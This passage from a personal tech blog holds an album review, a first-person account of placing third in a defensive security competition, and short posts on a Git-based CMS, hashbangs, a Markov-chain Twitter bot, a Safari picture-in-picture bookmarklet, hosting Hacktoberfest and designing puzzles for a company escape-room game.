Next is "Honeysuckle". It's an angry, groovy song with great dynamics. I hear some Faith No More (ca. "Angel Dust") in this one, especially during the synth line in the middle of the song. This influence is hardly surprising to fans - the band did collaborate with Mike Patton on the "Irony Is a Dead Scene" EP, after all. When the intro riff is played over a more steady beat near the end of the song I'm reminded of the opener on their last album (2013's "One of Us Is the Killer"), "Prancer".

"Manufacturing Discontent" - there are some interesting grooves on this quite progressive song. I'm getting Faith No More vibes in the middle of this song as well, specifically from the descending vocal melody in combination with the tom-play.

Starting off as a more traditional-sounding hardcore song with a really driving beat, "Apologies Not Included" soon delves into technical drum parts and an extended break, before launching into a fast, aggressive part ending with a breakdown.

Then there's "Nothing To Forget", which starts out with some pop-punky/gothy/circusy guitar parts, that build, chugging towards the really cool chorus. About halfways in, the song goes into a hauntingly beautiful string part with velvety vocals, the climax of which leads into an intense reprise of the chorus.

The album closer is a strange, smooth ballad with the same name as the album. "Dissociation" starts opens with strings leading into electronic beats which, combined with the processed vocals, remind me more of Greg Puciato's side project The Black Queen. This fades into strings again, before bringing in drums proper. A gradual layering of vocal harmonies, before carefully fading out everything but a soft, soothing vocal chorus closes this great album with the words

"Finding a way to die alone".

In my opinion, "Dissociation" surpasses even the band's previous, more focused record "One of Us is the Killer" - which is no small feat - and it is easily one of the top albums I've heard so far this year. It showcases the band's versatility and clearly demonstrates the proficiency of its members. "Dissociation" is emotional and ambitious - and I think it provides a great sense of closure. There is no doubt in my mind that Dillinger is going out on top.

While The Dillinger Escape Plan's music might not be particularly conventional or accessible - it might even be downright challenging to casual listeners - my opinion is that they're one of the most interesting bands out there as of right now.

Indeed, an editorial in MetalSucks claims the band is among "the greatest bands of all time" - and I tend to agree.

If you're interested in the story behind the band and this album in particular, check out Ben Weinman's recent appearance on the SWIM podcast (embedded below, also available on iTunes), where he talks about this in addition to his other projects.

The Dillinger Escape Plan is currently touring (for the last time) - and the band goes balls out on the road as well; just take a look at this video of guitarist Ben Weinman hanging from the ceiling whilst playing...

... or this one, where singer Greg Puciato jumps off the second floor balcony at Webster Hall in New York:

Yeah.

You can buy "Dissociation" directly from the band at their Bandcamp page.

Paranoid Programming

Some time in April, Bouvet CIO Anders Volle made an announcement on our Slack security channel: Watchcom had invited us to take part in the Paranoia Challenge 2018 hacking- and security-competition, on Circadence's gaming-based platform for cybersecurity. The contestants would tackle so-called red-team- and blue-team-based scenarios (attack and defence, respectively). The plan was to have an informal competition in May, where one would have the opportunity to experiment on one's own for a few days and get to know the platform. A couple of weeks later, there would be a qualifying round, and finals after that. The winners would be announced at a ceremony during the Paranoia Conference – one of the Nordic region's largest security conferences, which is held in Oslo Spektrum every summer.

As someone who has read a lot about the field, and who finds it interesting, I thought that this sounded really exciting. I didn't have much practical experience to speak of, other than having experimented with tools like Wireshark, Metasploit, Nmap and hashcrackers in my spare time through the years – but since I've long wanted to learn more, I saw this as a golden opportunity to do just that.

A short while after signing up there was a short webinar, where we were told about the platform, the schedule, how we would be evaluated during the competition – in short, what exactly this was all about. We were then granted access to the training- and competition-solution, and the so-called "free range" play- and learn period begun.

Edit: _ Since this was written, I've posted a Norwegian version on Bouvet's blog. _

Project Ares

The platform we used is called "Project Ares", and is a kind of e-learning platform for security and hacking via gamification. It offered training and teaching via practical exercises and simulation.

We logged in via an HTML5-client built with Unity by opening a website in our browsers.

The first thing we saw was a menu that looked like a typical menu from a strategy- or military-centered videogame; In addition to other stereotypical hacker graphics there was a spinning wireframe globe featuring prominently in the interface, with highlighted points indicating available missions. This was a recurring theme amongst the means used in the solution – to capture the contestants' interests via narratives.

In a given mission one was first introduced to a background story, which explained the context one was dropped into, and what would be the goal. A username and password for a "working machine" (in reality a virtual machine) was also made available.

Then a map of (parts of) the network was made available, which could also contain units like proxies, switches, routers, firewalls, VPNs, subnets – and which could potentially detail IP-addresses and operating systems on all, some or none of the units, depending on the assignment at hand.

We were then given access to to things: a shell (a new window with a virtual terminal) – typically Bash on a Linux-machine – and a VNC/RDP (a new window with a graphical remote interace on a desktop) on a given "working machine"; the latter could be either a Windows installation or a Linux distro. Any eventual extra tools needed to complete the mission would come preinstalled.

Our work was timed, and we gathered points as we made progress solving subtasks. If we became stuck, we could "burn" points to get subtask-specific hints.

Additionally, there was a chatbot – which could present contextual information, such as definitions, on the platform. If one were to ask, for instance, what "OWASP" was, the bot would answer that it was an acronym for "The Open Web Application Security Project", and present a short paragraph of information.

Technically, all units that were a part of the mission were actual virtual machines, running on a server somewhere; it seemed as though the solution was wrapped around or based upon some VMWare technology. If you have ever played hacking-centered video games,such as "Hacknet", "Uplink" or "Hacker: Unleashed" – or seen seres or movies such as "NCIS" and "Swordfish", you probably know that some of the realism often dissapears in abstractions and simplifications. During the competition, we were working on actual virtual machines – meaning that things strictly speaking were as realistic as they could be: Everything that happened were real code and real applications running. The only limitation was that the working environment was somewhat controlled; We could, for instance, not break out of the virtual network (without being disqualified).

On higher difficulties, the system could engage an AI-opponent (allegedly based on IBMs Watson-technology), which would make things more challenging. It could for instance randomize affected port numbers and addresses, and in come cases play the role as the attacker that has penetrated the network, lurking in systems. This means that it could reinfect machines if one hadn't done a proper job cleaning up and hardening defenses.

Project Ares also contaned a library with various theory, media coverage, technical documentation and video tutorials for relavant software. There were also a few minigames, the goals of which was to teach us relevant trivia in a less serious form.

Exploration

During free ranging, there were just under 100 registered players toying around, learning and practicing missions to varying degrees.

I mainly read and experimented with some lower-level missions, as I felt I needed to buid a solid knowledge base. After a couple of weeks all the contestants lost access to the platform for a little while, before the qualifying rounds began. I kept practicing so-called Capture The Flag (CTF) competitions other places online.

Qualifying round

Then, one afternoon, all the contestants got an email: We were to solve a specific mission within a window of 3 days. The contestants were free to attempt to qualify at any time, a total of maximum four times, and the best try would count.

Less than half of the contestants attempted to qualify – some allegedly thought the mission was too hard, and used their time on other missions and minigames in stead.

Only 12 players were able to get through all of the 16 tasks in 4 attempts.

The final score was made up of a combination of time spent and the points achieved.

On the last night of the three day window, I sat down to accomplish the mission. After my first attempt, I spent two tries making notes and memorizing what actions and commands it took to solve the subtasks, and slowly step through everything to really understand what happened. After this, I performed a final attaempt as a sort of well prepared "speedrun", working as quickly as I could.

The mission was, among other things, based around handling a scenario, where an internal network was penetrated; A machine on the network was infected with malware. We would therefore log onto an adminserver that was used to configure the firewall, and use a tool called Burpsuite to analyze the network traffic and get a sort of signature (hash) of the payload (which had been transmitted as a GET-request) and set up network rules, so that the IP-address that the malware originated from was blocked, and to prevent the malware from spreading. Then we had to localize the malware and neutralize it via Windows' builtin Powershell functions.

When I was done with the final subtask on my final attempt, I discovered that I was not registered as finished. The time kept running. I became nervous – what if I had messed up completely, despite all my preparations?

I then notices that subtask 2 was not checked of as done. I then decided to "burn" a few point to get some hints on that subtask, so that I could find out what I had forgotten or not performed correctly, and finish in as short amount of time as possible. I was afraid that my mess-up and burning of points together lead to dramatically more time spent and fewer points, and therefore to such a worsening of my score that I would not qualify.

I spent a total of 16.01 minutes on my final and best attempt, but the last 2 to 4 minutes were spent finding this final error.

When was finally done, I though that it was a shame that the mission had so much focus on Windows. This is, after all, a platform I nearly haven't used in about ten years. I didn't count on making it to the finals, but I thought it had been a fun experience testing the platform: I had learnt a lot, and it had been exciting to have been a part of.

The next day, I noticed a mention the private Slack-channel for those of us from Bouvet that were registered in the challenge. Someone asked whether it was me that were in 4th place, and asked me to check my email.

"Wow", I thought.

I was then given a free gold pass to the 2018 Paranoia Conference the following week (which seemed to have a lot of exciting talks), where the winners would be announced.

Then I waited for the final mission.

Finals

We knew that the finals would be held on friday the same week, but not when or how long we would have. I had originally thought I would takesome time off to get home early and be prepared, in case there would be little time, so that I wouldn't have to sit on-site at a customer's offices and stress my way through it.

Friday at half past two, the contestants got an email: From three o'clock we would have one attempt and two hours to solve the following assignment:

Answer 50 multiple choice questions
Complete a mission with 6 subtasks based on protection of banking systems and networks. The players would need the following competency to be successful:
- Intrusion detection/prevention systems
- Basic malware analysis
- Development of rulesets based on snort
- Isolating and removing malware

I blew through the multiple choice test and got on with the mission. Unfortunately, I introduced an error that would follow me throughout the mission when I configured the intrusion detection system Snort, which I then spent a half an hour to find. As a consequence, I only had time to finish two subtasks of the mission.

The clock struck five. No one had achieved a full score.

I wasn't particularily satisfied, and I was so convinced of my low performance that when colleagues asked me how the finals had went, I consistently answered "I certainly won't be on the podium."

The conference

At the end of the first day of the conference the following week, where I amongst other things had seen security guru Bruce Schneier talk and gotten myself a signed copy of his book "Data and Goliath", the presentations were over.

From the program, I saw that there would now be an announcement of the winner of the Paranoia Challenge 2018, and thought to myself that I really didn't have to be there, as I wasn't a possible candidate for the podium anyway. I therefore saw an opportunity to make a phone call.

As I reentered the hall 10 minutes later, I was congratulated by Bouvet-people saying "Where were you? They announced your name. You came in third!"

Hello World

Welcome! With my personal website finally up and running, I thought I'd do a short technical writeup about the system that powers the site. Behind this site is a Content Management System geared towards developers and power users, the features of which have evolved from my own needs during the development of this site.

Without further ado, I present to you...

Blablablog

My site is based on a custom written, open source CMS called B3 - so named because its working title was "BlaBlaBlog"; as I didn't feel very inventive, I just shortened it.

B3 does not have an interface for editing and administering content – instead the user must do this manually by writing to and handling files.

The workflow is more or less as follows:

Write a page or post in Markdown, with metadata (title, tags, etc.) in Jekyll-style YAML front matter
Add and commit it to a local Git repository
Push the git repo live

Using Git as a part of the solution means that it is trivial to revert to a previous version of a post (e.g. rolling back to how a post was before a recent edit).

Behind the scenes

What happens when I push my changes live is that the server runs a post-receive hook that checks out the master branch and populates a database with pages, posts, etc.

Only content, associated files such as images and attachments, as well as any custom themes, are versioned in the repository, with system (B3) updates handled via Composer both live and locally.

Technology

B3 is built on PHP and MySQL. Some key libraries and frameworks used include:

The Lumen micro-framework by Laravel
The Kurenai document parsing library
Bootstrap as a basis for the default theme

B3 uses dotenv for environment specific configuration, as well as a system configuration file for things like site title, theme selection, social account names, etc.

The default theme includes a task runner (Grunt) with some practical features for local development, including live reloading, LESS-compilation, auto updating the local database with new content upon file changes, etc.

The system uses caching aggressively, with extremely long cache times for things like CSS and JavaScript. This is circumvented with cache busting upon updates to relevant files.

Can I try it?

While B3 is currently available on GitHub and via Composer, it is not really suitable for public use as of yet. It already includes support for automated installation on an ssh-enabled webserver via a bash script, but proper documentation and some code cleanup remains to be done.

Hashbangs

If you're a programmer, you might know what a hashbang (also known as a shebang) is – a shellscript might, for instance, start with the hashbang #!/bin/sh on the first line, which includes an absolute path to the sh interpreter. But what do hashbangs do?

Hashbangs - how do they work?

In effect, hashbangs act as interpreter directives on unix systems, which means that when a script containing a hashbang is run as a program, the interpreter specified in the hashbang is run instead, and the path to the script being run is passed as an argument to the specified interpreter.

As the hashbang is usually ignored by the language interpreters themselves, they enable users to run something like ./path/to/script.py and have the script executed as a Python program automatically - provided it is executable and contains a hashbang that specifies a Python interpreter.

This means that when we run the last command, what is really being run is something roughly equivalent to python path/to/script.py.

Portability

Not every system has the same file system layout, though. For instance, Python might be installed in /usr/bin/python, /usr/local/bin/python, /home/username/bin/python, or possibly in some other location. Though there are some conventions (e.g. FHS) in the world of Unices and Unix-like systems with regards to directory structure, POSIX does not standardize these locations (it standardizes very little). Because of this, a more portable way of specifying an interpreter might be needed.

One solution with regard to portability is to look up the path to the wanted interpreter via env.

This can be done by replacing the hashbang of this type:

#!/bin/python

with one of this type:

#!/usr/bin/env python

This solution works by the env utility invoking the first python it finds in the user's $PATH.

However, it might introduce problems for some distros and systems with "exotic" configurations. For more info about this, see this Wikipedia article.

A little break

Wow! The start of this year went by so fast.

I've kept busy, though. A quick summary:

Still writing and arguing about why mass surveillance is expensive, ineffective, totalitarian, illiberal and anti-democratic – pretty much a bad idea.
A few months a ago I was given responsibility for the subject groups "Security", as well as "DevOps and LEAN" at work – which has predictably lead to a few more meetings, organizational work and so on.
I've also started getting active in writing proposals for various conferences, mostly around webdev, security, privacy, machine learning and HCI.
Finally finished an MVP and did a private Alpha-test of an application based on some ideas in HCI and OS-interfaces I've been working on for a few years.
Got sick (twice!)
Went on vacation (twice!)
- Wedding in Cuba
- Roadtrip in Texas

Got a lot brewing these days though, so stay tuned!

Paging Dr. Dankenstein

Inspired by Yan Zhu's Icowid, a bot that tweets generated sentences based on Cryptocurrency ICO's and Erowid "trip reports" (drug trip stories), I recently decided to make my own Markov Chain Twitter bot. I ended up creating Karl Jobs, which generates a tweet based on Karl Marx and Steve Jobs corpora every four hours.

P.S. All the code in this post is available on GitHub as a generator called Dankenstein.

For those of you that don't know, a Markov Chain is a stochastic model describing a sequence of possible events in which the probability of each event depends only on the state attained in the previous event. In our context, this basically means that each next word in a generated sentence is chosen based on the probability of it following the previous word; For instance, given the word "dank" the next word chosen would probably be "meme", if this sequence of the words were prevalent in the training data.

In this post I'll be explaining some of what I did when creating my bot, Karl Jobs.

If you want to follow along, you should check out the code from Dankenstein's GitHub-repo.

Mash my bits up

Most of the following code examples are in python or bash.

If you want to follow along and try to code something yourself, you'll need:

A (new) twitter account
- The email you sign up with can not be associated with another Twitter account
  - Pro tip: Gmail doesn't differentiate between "karl.jobs@gmail.com" and "karljobs@gmail.com" - if you own one, you'll get mail sent to the other
- You'll also need to register your phone number with the account (under "settings") to be allowed to create an appplication
A twitter application (register at dev.twitter.com) with authentication keys for the account (read more)

When I started out, I wanted to create a bot that was a mashup of distinct sources. I tried to come up with a few worthy candidates:

candidates = [
    'King James Bible',
    'ICOs',
    'Erowid',
    'Cannibal Corpse Lyrics',
    'Deepak Chopra',
    'Elon Musk',
    'Mark Zuckerberg Testimony',
    'Richard Stallman',
    'The Communist Manifesto',
    'Frankenstein',
    'The Satanic Bible',
    'Steve Jobs',
    'The Brothers Karamazov',
    'Donald Trump',
    'SICP',
    'Alex Jones',
    'Philip K Dick Novels',
    'Moby Dick',
    'Richard Dawkins',
    'TNGs Data',
    'Obama',
    'President Bartlet (Westwing)',
    'H.P. Lovecraft',
    'George W. Bush',
    'TNGs Picard'
]

Then I generated a list of all possible pairs of potential candidates:

"""Get all possible pair combinations of candidates"""
import itertools
import pprint

pp = pprint.PrettyPrinter(indent=4)
pp.pprint(list(itertools.combinations(candidates, 2)))

Some of the more interesting resulting pairs included:

('King James Bible', 'Richard Stallman'),
('King James Bible', 'Donald Trump'),
('ICOs', 'Moby Dick'),
('ICOs', 'H.P. Lovecraft'),
('Erowid', 'The Communist Manifesto')
('Erowid', 'Alex Jones'),
('Erowid', 'TNGs Data'),
('Cannibal Corpse Lyrics', 'Deepak Chopra'),
('Cannibal Corpse Lyrics', 'Obama'),
('Deepak Chopra', 'Philip K Dick Novels'),
('Elon Musk', 'The Satanic Bible'),
('Mark Zuckerberg Testimony', 'TNGs Data'),
('Mark Zuckerberg Testimony', 'H.P. Lovecraft'),
('Richard Stallman', 'Moby Dick'),
('Richard Stallman', 'TNGs Data'),
('The Communist Manifesto', 'Steve Jobs'),
('Frankenstein', 'Donald Trump'),
('Frankenstein', 'Richard Dawkins'),
('The Satanic Bible', 'Obama'),
('The Satanic Bible', 'SICP'),
('Steve Jobs', 'Alex Jones'),
('The Brothers Karamazov', 'Philip K Dick Novels'),
('The Brothers Karamazov', 'H.P. Lovecraft'),
('Donald Trump', 'Moby Dick'),
('SICP', 'H.P. Lovecraft'),
('Alex Jones', 'Philip K Dick Novels'),
('George W. Bush', 'TNGs Picard')

I couldn't decide between the pairs, so I prepared datasets for all the candidates...

Generating datasets and training a first model

I won't cover the work of finding, making and collecting the datasets in detail; To prepare the datasets for the candidates, you'll need to run the bash-scripts in the corpus directory of Dankenstein. You can generate all of them at once by running make corpora from the project root.

Some of these scripts have a few python dependencies; You'll need to run pip install tweepy darklyrics wikiquotes to be able to scrape Twitter, DarkLyrics and Wikiquote. You will also need popplerfor the ICO and SICP corpora (or other PDF-wrangling), which can be installed on macOS via Homebrew by running brew install poppler, or on Ubuntu by running sudo apt-get install -y poppler-utils. For other distros or platforms, please consult the Poppler website.

Additionally, you need an OAuth API key for Twitter in order to scrape Tweets properly, as well as post tweets from our Markov Chain Model in the final step. Once you've registered an application, enter your credentials in twitterCredentials.sh - or if you're following along, coding, you can set the your consumer key, consumer secret, access token and access token secret as environment variables:

export CONSUMER_KEY="consumer_key"
export CONSUMER_SECRET="consumer_secret"
export ACCESS_KEY="access_token"
export ACCESS_SECRET="access_token_secret"

For our Markov-model, we'll need to install the markovify-package by running pip install markovify.

Now let's train a model!

import markovify

if len(sys.argv) <= 2:
    sys.exit('Need two corpora!')
else:
    corpus1 = sys.argv[1]
    corpus2 = sys.argv[2]

# Get raw text as string.
with open(os.path.dirname(current_dir) + "/corpus/"+sys.argv[1]+".txt") as f:
    text_a = f.read()
with open(os.path.dirname(current_dir) + "/corpus/"+sys.argv[2]+".txt") as f:
    text_b = f.read()

# Build the model.
model_combo = markovify.combine([ model_a, model_b ], [ 1, 1 ])

# Print three randomly-generated sentences of no more than 140 characters
for i in range(3):
    print(text_model.make_short_sentence(140))

After generating a few sentences for most of the combinations, I narrowed my search down to the following candidate combinations:

('King James Bible', 'Richard Stallman'),
('King James Bible', 'Donald Trump'),
('ICOs', 'H.P. Lovecraft'),
('ICOs', 'Alex Jones'),
('Erowid', 'Alex Jones'),
('Erowid', 'Mark Zuckerberg Testimony'),
('Cannibal Corpse Lyrics', 'Deepak Chopra'),
('Cannibal Corpse Lyrics', 'Elon Musk'),
('Mark Zuckerberg Testimony', 'TNGs Data'),
('Richard Stallman', 'TNGs Data'),
('The Communist Manifesto', 'Steve Jobs')

Now was the time for further experimentation and fine-tuning.

A better class

First off, I wanted to make a Markov model class that obeys sentence structure better than a naive mode.

For this class, you will have to download a dependency for our Markov Model class, nltk, and install some extras for it: pip install nltk && python -m nltk.downloader all

import markovify
import nltk
import re

#nltk.download('averaged_perceptron_tagger')

class POSifiedText(markovify.Text):
    def word_split(self, sentence):
        words = re.split(self.word_split_pattern, sentence)
        words = [w for w in words if len(w) > 0]
        words = ["::".join(tag) for tag in nltk.pos_tag(words)]
        return words

    def word_join(self, words):
        sentence = " ".join(word.split("::")[0] for word in words)
        return sentence

Then we'll update our example script from earlier script like so:

# file: trainModel.py

import os
import subprocess
import sys
import markovify
from POSifiedText import *

current_dir = os.path.dirname(os.path.abspath(__file__))

def file_len(fname):
    p = subprocess.Popen(['wc', '-l', fname], stdout=subprocess.PIPE,
        stderr=subprocess.PIPE)
    result, err = p.communicate()
    if p.returncode != 0:
        raise IOError(err)
    return int(result.strip().split()[0])

"""
Script that trains a Markov Model

args: corpus1 corpus2 [(scale1 scale2) stateSize overlapTotal overlapRatio tries sentences]
"""

if len(sys.argv) <= 2:
    sys.exit('Need two corpora!')

else:
    corpus1 = sys.argv[1]
    corpus2 = sys.argv[2]

ratio1 = float(sys.argv[3] if len(sys.argv)>4 else 1)
ratio2 = float(sys.argv[4] if len(sys.argv)>4 else 1)

state_size = int(sys.argv[5]) if len(sys.argv)>5 else 2
overlap_total = int(sys.argv[6]) if len(sys.argv)>6 else 15
overlap_ratio = int(sys.argv[7]) if len(sys.argv)>7 else 70
tries = int(sys.argv[8]) if len(sys.argv)>8 else 10
sentences = int(sys.argv[9]) if len(sys.argv)>9 else 5
model_type = str(sys.argv[10]) if len(sys.argv)>10 and (str(sys.argv[10]) == 'naive' or str(sys.argv[10]) == 'expert') else 'naive'

for candidate in [corpus1, corpus2]:
    if not os.path.isfile(os.path.dirname(current_dir)+"/corpus/"+candidate+".txt"):
        try:
            subprocess.call(os.path.dirname(current_dir) + "/corpus/"+candidate+".sh", shell=True)
        except Exception as e:
            print "Corpora scripts not set as executable!"

# Get sizes of corpora and to make model ratio basis of equal size
corpus1_size=file_len(os.path.dirname(current_dir)+"/corpus/"+corpus1+".txt")
corpus2_size=file_len(os.path.dirname(current_dir)+"/corpus/"+corpus2+".txt")

if corpus1_size >= corpus2_size:
    ratio1base = 1.0
    ratio2base = float(corpus1_size)/float(corpus2_size)
else:
    ratio2base = 1.0
    ratio1base = float(corpus2_size)/float(corpus1_size)

# Get raw text as strings and build models
with open(os.path.dirname(current_dir) + "/corpus/"+sys.argv[1]+".txt") as f:
    text_a = f.read()
with open(os.path.dirname(current_dir) + "/corpus/"+sys.argv[2]+".txt") as f:
    text_b = f.read()

if model_type == 'naive':
    # Naive models
    model_a = markovify.Text(text_a, state_size)
    model_b = markovify.Text(text_b, state_size)
elif model_type == 'expert':
    # Custom models
    model_a = POSifiedText(text_a, state_size=state_size)
    model_b = POSifiedText(text_b, state_size=state_size)

# Combine the models
model_combo = markovify.combine([ model_a, model_b ], [ ratio1base*ratio1, ratio2base*ratio2 ])

# Print randomly-generated sentences of no more than 140 characters
for i in range(sentences):
    print(model_combo.make_short_sentence(140, max_overlap_total=overlap_total, max_overlap_ratio=overlap_ratio, tries=tries))

This new script allows us to weight the two models we combine relative to eachother. It also lets us set constraints with regards to originality via maximum overlap with training examples, both the number of sequential words and percentage of the resulting sentence. We can also override the default state size (2), i.e. increase the number of previous events' states each event depends on - two meaning only the immediately previous event i.e. word). Finally, we can also choose what type of model to use (the first, naive class, or the second, more advanced class).

You can now do this like this : python trainModel.py <corpus1> <corpus2> [<scale1> <scale2> <stateSize> <overlapTotal> <overlapRatio> <tries> <sentences> <modelComplexity>] (where the arguments in square brackets are optional).

Alternatively, you can run make model ARGS="<corpus1> <corpus2> [<scale1> <scale2> <stateSize> <overlapTotal> <overlapRatio> <tries> <sentences> <modelComplexity>]" from Dankenstein's project root.

In case of Yuge corpora

Note: I have not needed to perform the following step during my own work

By default, the markovify.Text class loads, and retains, the your textual corpus, so that it can compare generated sentences with the original (and only emit novel sentences).

With very large corpora, however, loading the entire text at once (and retaining it) can be memory-intensive. You can solve the problem doing something like this.

# Tell Markovify not to retain the original
with open("path/to/my/huge/corpus.txt") as f:
    text_model = markovify.Text(f, retain_original=False)

print(text_model.make_sentence())

# Read in the corpus line-by-line or file-by-file and combine them into one model at each step
combined_model = None
for (dirpath, _, filenames) in os.walk("path/to/my/huge/corpus"):
    for filename in filenames:
        with open(os.path.join(dirpath, filename)) as f:
            model = markovify.Text(f, retain_original=False)
            if combined_model:
                combined_model = markovify.combine(models=[combined_model, model])
            else:
                combined_model = model

print(combined_model.make_sentence())

Output

In my attempts, I pretty soon discovered that a hybrid of Steve Jobs and The Communist Manifesto yielded some pretty great results.

Redistribution is subject to the crazy ones.
I would have to study physics to understand the laws of the proletariat.
And yet death is the most rudimentary of directions and you asked how to drive a car.
I got more thrill out of them than I have out of any practical application in my body.

There were also some particularly uncharacteristic ones,

We also know first hand that Flash is the greatest invention of Life.

and some unsettling ones.

Somehow it lives on, but sometimes I think they are afraid how we would taste.

Also, some strange ones...

So at 30 I was born.

Our belief was that I had never graduated from high school.

So I decided to put me up for adoption.

I therefore decided to save the model, essentially just adding the following to our training-script, in place of the last code block (from the comment about printing randomly...) to serialize the model and some associated variables:

# Pickle what we need
import cPickle as pickle
pickle.dump( {'model': model_combo, 'overlap_total': overlap_total, 'overlap_ratio': overlap_ratio, 'tries':tries, 'sentences': sentences}, open( os.path.dirname(current_dir) + '/twitter-bot/model.p', "wb" ) )

Tweeting

Finally, I needed a script to handle the posting to Twitter:

import cPickle as pickle
import os
import sys
import tweepy
from POSifiedText import *

# Load model and variables
data = pickle.load( open( current_dir+'/model.p', "rb" ) )

# Generate sentence
sentence=(data['model'].make_short_sentence(140, max_overlap_total=data['overlap_total'], max_overlap_ratio=data['overlap_ratio'], tries=data['tries'])) # 280

# Authenticate with Twitter and post tweet
auth = tweepy.OAuthHandler(os.environ['CONSUMER_KEY'], os.environ['CONSUMER_SECRET'])
auth.set_access_token(os.environ['ACCESS_KEY'], os.environ['ACCESS_SECRET'])

api = tweepy.API(auth)
api.update_status(sentence)

Deploying the bot

To deploy the bot, you can set up a cronjob on your own server, or you can use Heroku's Free Tier, or Google Cloud's App Engine Standard Free Tier, for instance.

In this demonstration, I'll use Heroku.

To follow along, your root project directory must be a git-repo, so you'll need to create one, if you haven't already. If you've checked out Dankenstein, you should run rm .git/config from the project root before creating your own.

Make sure you've generated a model (filename model.p using Dankenstein or the example code), and added it to your Git-repo.

You'll need to register a free Heroku account. Choose "Python" as your Primary Development Language. You'll also need to download and install the Heroku Toolbelt.

Then run the following from your shell:

heroku login # authenticate using your login info
heroku create <your-app-name> # create an application
heroku config:add CONSUMER_KEY=consumer_key CONSUMER_SECRET=consumer_secret ACCESS_KEY=access_key ACCESS_SECRET=access_secret
git push heroku master # push to the dyno
heroku ps:exec # ssh to the dyno; will trigger a restart the first time
heroku ps # check status

You'll also need to make a Procfile, which defines the job for your worker dyno. If you've checked out Dankenstein, the accompanying Procfile only contains the following:

worker: bash dankenstein/bot.sh && sleep 14400

This will make the worker dyno generate a tweet based on your model, and sleep for four hours before doing the same all over again.

Make your adjustments to the repo and push the master branch to heroku again:

git push heroku master

Congratulations! You have just made your very own Markov Chain Twitter bot!

"BUT I DON'T WANT TO PROGRAM"

If you don't want to implement a bot yourself, the generator I produced during my work on my bot, Karl Jobs, is available on GitHub as Dankenstein.

Dankenstein will let you

Recreate the corpora I have used as examples in this post
List available corpora and possible candidate combinations
Generate a bot
Output sentences
Tweet

Feel free to create an issue if you find a bug, or a PR if you implement support for a new dataset!

PiP-ify All the Things!

If you're also someone who enjoys multitasking and use an Apple computer, you might find yourself lamenting lack of support for "Picture-In-Picture" in Safari on every site out there (looking at you, HBO Max!)

Here's a solution: Let's create a bookmark that will create a simple button on any site, that will trigger PiP on the first HTML5 video-element it finds.

The bookmark

As we're not able to manually create bookmarks in Safari anymore (!), we'll first have to add a new bookmark that we'll edit later.

Press CMD + D on your keyboard, and add the bookmark; Make sure you save it under "☆ Favorites" (the one with a star-sign in front of the name in the drop-down-menu). Just name it PiP for now.

Then, identify the bookmark in your "Favorites Bar" – if you can't see it at the top of your Safari window, below the URL / address bar, select the "View" menu and click "Show Favorites Bar". Right click the bookmark, and click "Edit address..."

Paste the following:

javascript: (function () {
  if (document.getElementById("pip-bm-btn")) {
    document.getElementById("pip-bm-btn").remove()
  } else {
    const button = document.createElement("button")
    button.id = "pip-bm-btn"
    button.innerText = "PiP"
    button.addEventListener("click", () => {
      document.querySelector("video").requestPictureInPicture()
    })
    document.body.appendChild(button)
    button.style.position = "fixed"
    button.style.zIndex = 10000
    button.style.top = 0
    button.style.left = 0
    button.style.backgroundColor = "#dadada"
    button.style.color = "black"
    button.style.fontFamily = "system-ui"
    button.style.fontSize = "11px"
    button.style.fontWeight = 400
    button.style.margin = "2px"
    button.style.padding = "2px"
    button.style.borderRadius = "4px"
    button.style.border = "1 px solid black"
  }
})()

and click "Done".

You should now be able to click the "PiP"-bookmark on any page with an HTML5 video element to trigger "Picture-In-Picture". If you want to get rid of the button without refreshing the page, you can just click the link again.

Update October 31st 2022

If you don't want to deal with the above, I've created an extension that will trigger PiP-mode on the first HTML5 video on any web page.

Because of API limitations, however, any such video must have been interacted with by the user at least once before the button will work.

5 things I learned hosting Hacktoberfest

Back in October, I hosted a Hacktoberfest event at Bouvet's HQ here in Oslo.

As host, I also held a quick intro as well as a "crash course in open source".

In case you don't know, Hacktoberfest is a month-long celebration of open source software, supported by companies such as GitHub, DigitalOcean and twilio. Community events are held around the world with the purpose of learning about, contributing to and celebrating all things open source.

This was my first time hosting a community event such as this, and I picked up a few things from my experience:

1. One week is not a lot of prep-time

If you want or need speakers for an event, you should start recruiting them ASAP! Though I got a lot of positive feedback from community figures I contacted, not all of them had time or could commit on such a short notice – which is totally understandable!

Venue, food and drinks, etc. should also ideally be fixed long before the event. Thankfully, Bouvet sponsored the food and drinks in my case!

2. Enforce your schedule

Speakers gonna speak. Make 'em keep it short and sweet. I'm thinking 10-15 minutes a person at a maximum. People are there to participate, after all – so the sooner they can get active, the better!

3. Recruit a volunteer or two

Though I definitely got help from a couple of fellow Bouvet'ers, there definitively would have been less pressure if I'd recruited a few volunteers I could give some responsibility and delegate some tasks to.

4. People are different

Any event has a target demographic. Whether it is newbies or intermediate coders, it will affect the event's areas of focus, what kind of speakers and presentations there should be, and so on.

In the case of my Hacktoberfest-event, even if I was targeting intermediates, I could have made special resources and people available to help newcomers out.

5. You meet a lot of cool people

There are many interesting people in the community. If you talk to them, you're bound to learn something!

At the Hacktoberfest event, I met someone who was just starting out in webdev, who was also on crutches, recovering from a motorcycle-accident; I talked a bunch about Kuberetes with my colleague Jamie, who also held a presentation; I talked to Terje from Microsoft about wxWidgets, which I learned Microsoft has contributed a lot to, and I met a student/cryptocurrency-entrepreneur from the Baltics.

All in all, it was a very enjoyable evening, and I already plan to contribute to Hacktoberfest next year in some form or another!

Bouvet Battle Royale 2018

Every November, Bouvet hosts an internal competitive weekend event called Battle Royale.

We usually check in at a hotel, are divided into teams, and then we are presented with some sort of competition. Last year, for instance, each team were to make a game agent strategy. These would be pitted against each other the following day, in a bomberman-inspired platform game.

This year, however, I was part of the planning committee.

At some point during the intro-sessions, after talks of AI, IOT, drones, websec, and so on, someone suggested something related to the "escape room" phenomenon.

Fast forward a few months, and we had a narrative about a tobacco-company CEO gone missing. The contestant teams would have to solve various puzzle to get clues and score point on a CTF-style scoreboard.

Problems included stuff like reading data from an RFID chip and ROT13-decode it, reversing bytes in a QR-code, analyzing beat frequencies in music referenced elsewhere, analyzing packet capture from network traffic, and ignoring irrelevant hints and information.

I contributed two problems to the game:

Insecure email

If players discovered a contact address for the "company" and sent an email to it, they would get an autoreply that told them to contact the "secretary". If players emailed this address, they would get a broken autoreply with an error message and a link to a webmail login page.

If players input the secretary's address and hit the "forgot password"-button, they are presented with her security question – which is "Who is my boss?". If players type "patrick" (which they would know from previous steps in the game") they will be told that her name is "patrick". They can then log in as the secretary.

